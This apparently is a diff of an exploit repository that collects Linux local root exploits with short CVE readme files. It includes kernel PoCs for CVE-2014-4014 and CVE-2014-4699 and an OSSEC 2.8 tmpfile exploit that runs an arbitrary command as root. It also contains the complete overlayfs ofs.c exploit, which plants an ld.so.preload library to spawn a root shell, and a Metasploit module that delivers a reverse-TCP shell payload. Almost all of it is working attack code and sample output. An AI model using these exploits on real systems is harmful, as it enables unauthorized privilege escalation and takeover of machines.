|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
int fd;
|
||||
pid_t pid;
|
||||
char mapping[1024];
|
||||
char map_file[PATH_MAX];
|
||||
struct args f_args;
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
f_args.file_path = argv[1];
|
||||
// create a pipe for synching the child and parent
|
||||
assert(pipe(f_args.pipe_fd) != -1);
|
||||
|
||||
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
|
||||
assert(pid != -1);
|
||||
|
||||
// get the current uid outside the namespace
|
||||
snprintf(mapping, 1024, "0 %d 1\n", getuid());
|
||||
|
||||
// update uid and gid maps in the child
|
||||
snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
|
||||
fd = open(map_file, O_RDWR); assert(fd != -1);
|
||||
|
||||
assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
|
||||
close(f_args.pipe_fd[1]);
|
||||
|
||||
assert (waitpid(pid, NULL, 0) != -1);
|
||||
}
|
|
@ -0,0 +1,29 @@
|
|||
# CVE-2014-4014
|
||||
```
|
||||
The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes,
|
||||
which allows local users to bypass intended chmod restrictions by first creating a user namespace,
|
||||
as demonstrated by setting the setgid bit on a file with group ownership of root.
|
||||
```
|
||||
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-4014](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4014)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/33824/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
before 3.14.8
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
./poc [file_path]
|
||||
```
|
||||
![screen-shot-2014-06-21-at-113329](screen-shot-2014-06-21-at-113329.png)
|
||||
|
||||
## References
|
||||
* [CVE-2014-4014:Linux内核本地权限提升利用](http://www.tuicool.com/articles/eQnaEnQ)
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
After Width: | Height: | Size: 121 KiB |
|
@ -0,0 +1,125 @@
|
|||
/**
|
||||
* CVE-2014-4699 ptrace/sysret PoC
|
||||
* by Vitaly Nikolenko
|
||||
* vnik@hashcrack.org
|
||||
*
|
||||
* > gcc -O2 poc_v0.c
|
||||
*
|
||||
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
|
||||
* following will trigger the #GP in sysret and overwrite the #PF handler so we
|
||||
* can land to our NOP sled mapped at 0x80000000.
|
||||
* However, once landed, the IDT will be trashed. We can either attempt to
|
||||
* restore it (then escalate privileges and execute our shellcode) or find
|
||||
* something else to overwrite that would transfer exec flow to our controlled
|
||||
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
|
||||
* have any ideas, let me know.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <assert.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/user.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define SIZE 0x10000000
|
||||
|
||||
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
|
||||
|
||||
unsigned long __user_cs;
|
||||
unsigned long __user_ss;
|
||||
unsigned long __user_rflags;
|
||||
|
||||
void __attribute__((regparm(3))) payload() {
|
||||
uint32_t *fixptr = (void*)0xffffffff81dd70e8;
|
||||
// restore the #PF handler
|
||||
*fixptr = -1;
|
||||
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
|
||||
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
|
||||
//commit_creds(prepare_kernel_cred((uint64_t)NULL));
|
||||
|
||||
//__asm__ volatile ("swapgs\n\t"
|
||||
// "...");
|
||||
}
|
||||
|
||||
int main() {
|
||||
struct user_regs_struct regs;
|
||||
uint8_t *trampoline, *tmp;
|
||||
int status;
|
||||
|
||||
struct {
|
||||
uint16_t limit;
|
||||
uint64_t addr;
|
||||
} __attribute__((packed)) idt;
|
||||
|
||||
// MAP_POPULATE so we don't trigger extra #PF
|
||||
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
|
||||
assert(trampoline == 0x80000000);
|
||||
memset(trampoline, 0x90, SIZE);
|
||||
tmp = trampoline;
|
||||
tmp += SIZE-1024;
|
||||
memcpy(tmp, &payload, 1024);
|
||||
memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
|
||||
|
||||
pid_t chld;
|
||||
|
||||
if ((chld = fork()) < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (chld == 0) {
|
||||
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
|
||||
perror("PTRACE_TRACEME");
|
||||
exit(1);
|
||||
}
|
||||
raise(SIGSTOP);
|
||||
fork();
|
||||
return 0;
|
||||
}
|
||||
|
||||
asm volatile("sidt %0" : "=m" (idt));
|
||||
printf("IDT addr = 0x%lx\n", idt.addr);
|
||||
|
||||
waitpid(chld, &status, 0);
|
||||
|
||||
ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
|
||||
|
||||
ptrace(PTRACE_CONT, chld, 0, 0);
|
||||
|
||||
waitpid(chld, &status, 0);
|
||||
|
||||
ptrace(PTRACE_GETREGS, chld, NULL, ®s);
|
||||
regs.rdi = 0x0000000000000000;
|
||||
regs.rip = 0x8fffffffffffffff;
|
||||
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
|
||||
|
||||
// attempt to restore the IDT
|
||||
regs.rdi = 0x0000000000000000;
|
||||
regs.rsi = 0x81658e000010cbd0;
|
||||
regs.rdx = 0x00000000ffffffff;
|
||||
regs.rcx = 0x81658e000010cba0;
|
||||
regs.rax = 0x00000000ffffffff;
|
||||
regs.r8 = 0x81658e010010cb00;
|
||||
regs.r9 = 0x00000000ffffffff;
|
||||
regs.r10 = 0x81668e0000106b10;
|
||||
regs.r11 = 0x00000000ffffffff;
|
||||
regs.rbx = 0x81668e0000106ac0;
|
||||
regs.rbp = 0x00000000ffffffff;
|
||||
regs.r12 = 0x81668e0000106ac0;
|
||||
regs.r13 = 0x00000000ffffffff;
|
||||
regs.r14 = 0x81668e0200106a90;
|
||||
regs.r15 = 0x00000000ffffffff;
|
||||
|
||||
ptrace(PTRACE_SETREGS, chld, NULL, ®s);
|
||||
|
||||
ptrace(PTRACE_CONT, chld, 0, 0);
|
||||
|
||||
ptrace(PTRACE_DETACH, chld, 0, 0);
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
# CVE-2014-4699
|
||||
|
||||
CVE-2014-4699
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-4699](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4699)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/34134/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
before 3.15.4
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc -O2 poc_v0.c
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
#!/usr/bin/python
|
||||
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
|
||||
# Date: 14-11-14
|
||||
# Exploit Author: skynet-13
|
||||
# Vendor Homepage: www.ossec.net/
|
||||
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
|
||||
# Version: OSSEC - 2.8
|
||||
# Tested on: Ubunutu x86_64
|
||||
# CVE : 2014-5284
|
||||
|
||||
# Created from Research by
|
||||
# Jeff Petersen
|
||||
# Roka Security LLC
|
||||
# jpetersen@rokasecurity.com
|
||||
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1
|
||||
|
||||
# Run this on target machine and follow instructions to execute command as root
|
||||
|
||||
from twisted.internet import inotify
|
||||
from twisted.python import filepath
|
||||
from twisted.internet import reactor
|
||||
import os
|
||||
import optparse
|
||||
import signal
|
||||
|
||||
|
||||
class HostDenyExploiter(object):
|
||||
|
||||
def __init__(self, path_to_watch, cmd):
|
||||
self.path = path_to_watch
|
||||
self.notifier = inotify.INotify()
|
||||
self.exploit = cmd
|
||||
|
||||
def create_files(self):
|
||||
print "=============================================="
|
||||
print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."
|
||||
|
||||
for i in range(300, 65536):
|
||||
filename = "/tmp/hosts.deny.%s" % i
|
||||
f = open(filename, 'w')
|
||||
f.write("")
|
||||
f.close()
|
||||
|
||||
def watch_files(self):
|
||||
print "=============================================="
|
||||
print "Monitoring tmp for file change...."
|
||||
print "ssh into the system a few times with an incorrect password"
|
||||
print "Then wait for up to 10 mins"
|
||||
print "=============================================="
|
||||
self.notifier.startReading()
|
||||
self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])
|
||||
|
||||
def write_exploit_to_file(self, path):
|
||||
print 'Writing exploit to this file'
|
||||
f = open(str(path).split("'")[1], 'w')
|
||||
f.write(' sshd : ALL : twist %s \n' % self.exploit)
|
||||
f.close()
|
||||
print "=============================================="
|
||||
print " ssh in again to execute the command"
|
||||
print "=============================================="
|
||||
print " End Prog."
|
||||
os.kill(os.getpid(), signal.SIGUSR1)
|
||||
|
||||
def on_file_change(self, watch, path, mask):
|
||||
print 'File: ', str(path).split("'")[1], ' has just been modified'
|
||||
self.notifier.stopReading()
|
||||
self.write_exploit_to_file(path)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
|
||||
parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
|
||||
(options, args) = parser.parse_args()
|
||||
cmd = options.cmd
|
||||
if options.cmd is None:
|
||||
print parser.usage
|
||||
exit(0)
|
||||
ex = HostDenyExploiter('/tmp', cmd)
|
||||
ex.create_files()
|
||||
ex.watch_files()
|
||||
reactor.run()
|
||||
exit(0)
|
|
@ -0,0 +1,22 @@
|
|||
# CVE-2014-5284
|
||||
|
||||
CVE-2014-5284
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-5284](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5284)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/35234/)
|
||||
|
||||
|
||||
## OSSEC
|
||||
```
|
||||
2.8
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [OSSEC不安全临时文件创建漏洞(CVE-2014-5284)](http://www.linuxidc.com/Linux/2014-12/110401.htm)
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,153 @@
|
|||
/*
|
||||
# Exploit Title: ofs.c - overlayfs local root in ubuntu
|
||||
# Date: 2015-06-15
|
||||
# Exploit Author: rebel
|
||||
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
|
||||
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
|
||||
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
CVE-2015-1328 / ofs.c
|
||||
overlayfs incorrect permission handling + FS_USERNS_MOUNT
|
||||
|
||||
user@ubuntu-server-1504:~$ uname -a
|
||||
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
|
||||
user@ubuntu-server-1504:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
|
||||
user@ubuntu-server-1504:~$ ./ofs
|
||||
spawning threads
|
||||
mount #1
|
||||
mount #2
|
||||
child threads done
|
||||
/etc/ld.so.preload created
|
||||
creating shared library
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
|
||||
|
||||
greets to beist & kaliman
|
||||
2015-05-24
|
||||
%rebel%
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mount.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/types.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <linux/sched.h>
|
||||
|
||||
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
|
||||
|
||||
static char child_stack[1024*1024];
|
||||
|
||||
static int
|
||||
child_exec(void *stuff)
|
||||
{
|
||||
char *file;
|
||||
system("rm -rf /tmp/ns_sploit");
|
||||
mkdir("/tmp/ns_sploit", 0777);
|
||||
mkdir("/tmp/ns_sploit/work", 0777);
|
||||
mkdir("/tmp/ns_sploit/upper",0777);
|
||||
mkdir("/tmp/ns_sploit/o",0777);
|
||||
|
||||
fprintf(stderr,"mount #1\n");
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
|
||||
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
|
||||
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
|
||||
exit(-1);
|
||||
}
|
||||
file = ".access";
|
||||
chmod("/tmp/ns_sploit/work/work",0777);
|
||||
} else file = "ns_last_pid";
|
||||
|
||||
chdir("/tmp/ns_sploit/o");
|
||||
rename(file,"ld.so.preload");
|
||||
|
||||
chdir("/");
|
||||
umount("/tmp/ns_sploit/o");
|
||||
fprintf(stderr,"mount #2\n");
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
|
||||
exit(-1);
|
||||
}
|
||||
chmod("/tmp/ns_sploit/work/work",0777);
|
||||
}
|
||||
|
||||
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
|
||||
umount("/tmp/ns_sploit/o");
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int status, fd, lib;
|
||||
pid_t wrapper, init;
|
||||
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
||||
|
||||
fprintf(stderr,"spawning threads\n");
|
||||
|
||||
if((wrapper = fork()) == 0) {
|
||||
if(unshare(CLONE_NEWUSER) != 0)
|
||||
fprintf(stderr, "failed to create new user namespace\n");
|
||||
|
||||
if((init = fork()) == 0) {
|
||||
pid_t pid =
|
||||
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
||||
if(pid < 0) {
|
||||
fprintf(stderr, "failed to create new mount namespace\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
}
|
||||
|
||||
waitpid(init, &status, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
usleep(300000);
|
||||
|
||||
wait(NULL);
|
||||
|
||||
fprintf(stderr,"child threads done\n");
|
||||
|
||||
fd = open("/etc/ld.so.preload",O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
fprintf(stderr,"exploit failed\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"/etc/ld.so.preload created\n");
|
||||
fprintf(stderr,"creating shared library\n");
|
||||
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
|
||||
write(lib,LIB,strlen(LIB));
|
||||
close(lib);
|
||||
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
|
||||
if(lib != 0) {
|
||||
fprintf(stderr,"couldn't create dynamic library\n");
|
||||
exit(-1);
|
||||
}
|
||||
write(fd,"/tmp/ofs-lib.so\n",16);
|
||||
close(fd);
|
||||
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
|
||||
execl("/bin/su","su",NULL);
|
||||
}
|
||||
|
|
@ -0,0 +1,293 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Overlayfs Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit two different CVEs related to overlayfs.
|
||||
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
|
||||
3.16.0-25 (14.10 default) < 3.16.0-41
|
||||
3.19.0-18 (15.04 default) < 3.19.0-21
|
||||
CVE-2015-8660:
|
||||
Ubuntu:
|
||||
3.19.0-18 < 3.19.0-43
|
||||
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
|
||||
Fedora:
|
||||
< 4.2.8 (vulnerable, un-tested)
|
||||
Red Hat:
|
||||
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Module
|
||||
'rebel' # Discovery
|
||||
],
|
||||
'DisclosureDate' => 'Jun 16 2015',
|
||||
'Platform' => [ 'linux'],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'CVE-2015-1328', { } ],
|
||||
[ 'CVE-2015-8660', { } ]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39166'], # CVE-2015-8660
|
||||
[ 'EDB', '37292'], # CVE-2015-1328
|
||||
[ 'CVE', '2015-1328'],
|
||||
[ 'CVE', '2015-8660']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
def mounts_exist?()
|
||||
vprint_status('Checking if mount points exist')
|
||||
if target.name == 'CVE-2015-1328'
|
||||
if not directory?('/tmp/ns_sploit')
|
||||
vprint_good('/tmp/ns_sploit not created')
|
||||
return true
|
||||
else
|
||||
print_error('/tmp/ns_sploit directory exists. Please delete.')
|
||||
return false
|
||||
end
|
||||
elsif target.name == 'CVE-2015-8660'
|
||||
if not directory?('/tmp/haxhax')
|
||||
vprint_good('/tmp/haxhax not created')
|
||||
return true
|
||||
else
|
||||
print_error('/tmp/haxhax directory exists. Please delete.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def kernel_vuln?()
|
||||
os_id = cmd_exec('grep ^ID= /etc/os-release')
|
||||
case os_id
|
||||
when 'ID=ubuntu'
|
||||
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
|
||||
case kernel.release.to_s
|
||||
when '3.13.0'
|
||||
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
when '3.16.0'
|
||||
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
when '3.19.0'
|
||||
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||
return true
|
||||
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
when '4.2.0'
|
||||
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Non-vuln kernel #{kernel}")
|
||||
return false
|
||||
end
|
||||
when 'ID=fedora'
|
||||
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
|
||||
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
|
||||
# => "4.0.4-301"
|
||||
if kernel.release < Gem::Version.new('4.2.8')
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
|
||||
return true
|
||||
else
|
||||
print_error("Non-vuln kernel #{kernel}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Unknown OS: #{os_id}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if mounts_exist?() && kernel_vuln?()
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
filename = rand_text_alphanumeric(8)
|
||||
executable_path = "#{datastore['WritableDir']}/#{filename}"
|
||||
payloadname = rand_text_alphanumeric(8)
|
||||
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
|
||||
|
||||
def has_prereqs?()
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
end
|
||||
return gcc.include?('gcc')
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if has_prereqs?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
def upload_and_chmod(fname, fcontent, cleanup=true)
|
||||
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
|
||||
rm_f fname
|
||||
write_file(fname, fcontent)
|
||||
cmd_exec("chmod +x #{fname}")
|
||||
if cleanup
|
||||
register_file_for_cleanup(fname)
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
super
|
||||
if target.name == 'CVE-2015-1328'
|
||||
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
|
||||
# we cleanup here instead of earlier since we needed the /bin/su in our new session
|
||||
session.shell_command('rm -f /etc/ld.so.preload')
|
||||
session.shell_command('rm -f /tmp/ofs-lib.so')
|
||||
end
|
||||
end
|
||||
|
||||
if compile
|
||||
begin
|
||||
if target.name == 'CVE-2015-1328'
|
||||
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
||||
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
|
||||
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_1328 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
# pulled out from 1328.c's LIB define
|
||||
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
|
||||
fd = ::File.open( path, "rb")
|
||||
ofs_lib = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
else
|
||||
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
||||
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_8660 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
end
|
||||
rescue
|
||||
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if compile
|
||||
if target.name == 'CVE-2015-1328'
|
||||
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
|
||||
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
|
||||
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
|
||||
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
|
||||
upload_and_chmod("#{ofs_path}.c", ofs_lib)
|
||||
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
|
||||
register_file_for_cleanup("#{ofs_path}.c")
|
||||
else
|
||||
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
|
||||
"os.execl('#{payload_path}','#{payloadname}')")
|
||||
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
|
||||
end
|
||||
vprint_status("Compiling #{executable_path}.c")
|
||||
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
|
||||
register_file_for_cleanup(executable_path)
|
||||
else
|
||||
if target.name == 'CVE-2015-1328'
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_1328 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
upload_and_chmod(executable_path, cve_2015_1328)
|
||||
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
|
||||
fd = ::File.open( path, "rb")
|
||||
ofs_lib = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
|
||||
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
|
||||
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
|
||||
|
||||
# overwrite with the hardcoded variable names in the compiled versions
|
||||
payload_filename = 'lXqzVpYN'
|
||||
payload_path = '/tmp/lXqzVpYN'
|
||||
else
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_8660 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
upload_and_chmod(executable_path, cve_2015_8660)
|
||||
# overwrite with the hardcoded variable names in the compiled versions
|
||||
payload_filename = '1H0qLaq2'
|
||||
payload_path = '/tmp/1H0qLaq2'
|
||||
end
|
||||
end
|
||||
|
||||
upload_and_chmod(payload_path, generate_payload_exe)
|
||||
vprint_status('Exploiting...')
|
||||
output = cmd_exec(executable_path)
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
end
|
||||
end
|
|
@ -0,0 +1,30 @@
|
|||
